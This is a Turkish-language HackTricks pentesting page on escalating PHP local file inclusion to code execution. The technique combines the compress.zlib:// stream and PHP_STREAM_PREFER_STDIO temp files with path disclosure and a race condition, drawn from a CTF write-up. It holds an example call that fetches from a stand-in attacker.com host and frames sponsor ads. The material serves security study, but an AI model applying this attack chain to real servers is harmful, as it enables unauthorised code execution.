hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

5.8 KiB
Raw Blame History

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

WhiteIntel

WhiteIntel dark-web destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunar.

WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve ücretsiz olarak motorlarını deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}


compress.zlib:// ve PHP_STREAM_PREFER_STDIO

compress.zlib:// protokolü kullanılarak açılan bir dosya, PHP_STREAM_PREFER_STDIO bayrağı ile yazma işlemine devam edebilir ve daha sonra bağlantıya gelen verileri aynı dosyaya yazabilir.

Bu, aşağıdaki gibi bir çağrı anlamına gelir:

file_get_contents("compress.zlib://http://attacker.com/file")

Sunucudan http://attacker.com/file isteyen bir istek göndereceğiz, ardından sunucu isteği geçerli bir HTTP yanıtı ile yanıtlayabilir, bağlantıyıık tutabilir ve daha sonra dosyaya yazılacak ek verileri bir süre sonra gönderebilir.

Bu bilgiyi php-src kodunun main/streams/cast.c bölümünde görebilirsiniz:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

RCE'ye Yarış Koşulu

Bu CTF önceki hile kullanılarak çözüldü.

Saldırgan, kurban sunucunun saldırganın sunucusundan bir dosyayı okuyarak bağlantı açmasını sağlayacak ve bunu compress.zlib protokolü kullanarak yapacak.

Bu bağlantı varken saldırgan, sunucu tarafından sızdırılan geçici dosyanın yolunu dışa aktaracak.

Bu bağlantı hala açıkken saldırgan, kontrol ettiği geçici dosyayı yükleyen bir LFI'ı sömürecek.

Ancak, web sunucusunda <? içeren dosyaların yüklenmesini engelleyen bir kontrol bulunmaktadır. Bu nedenle, saldırgan bir Yarış Koşulu'nu istismar edecektir. Hala açık olan bağlantıda, saldırgan, web sunucusunun yasaklı karakterleri içeren dosyayı kontrol ettiği sonrasında PHP yüklemesini GÖNDERECEKTİR ancak içeriğini yüklemeden ÖNCE.

Daha fazla bilgi için Yarış Koşulu ve CTF açıklamasını https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer adresinden kontrol edebilirsiniz.

WhiteIntel

WhiteIntel, karanlık ağ destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevsellikler sunar.

WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}

Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: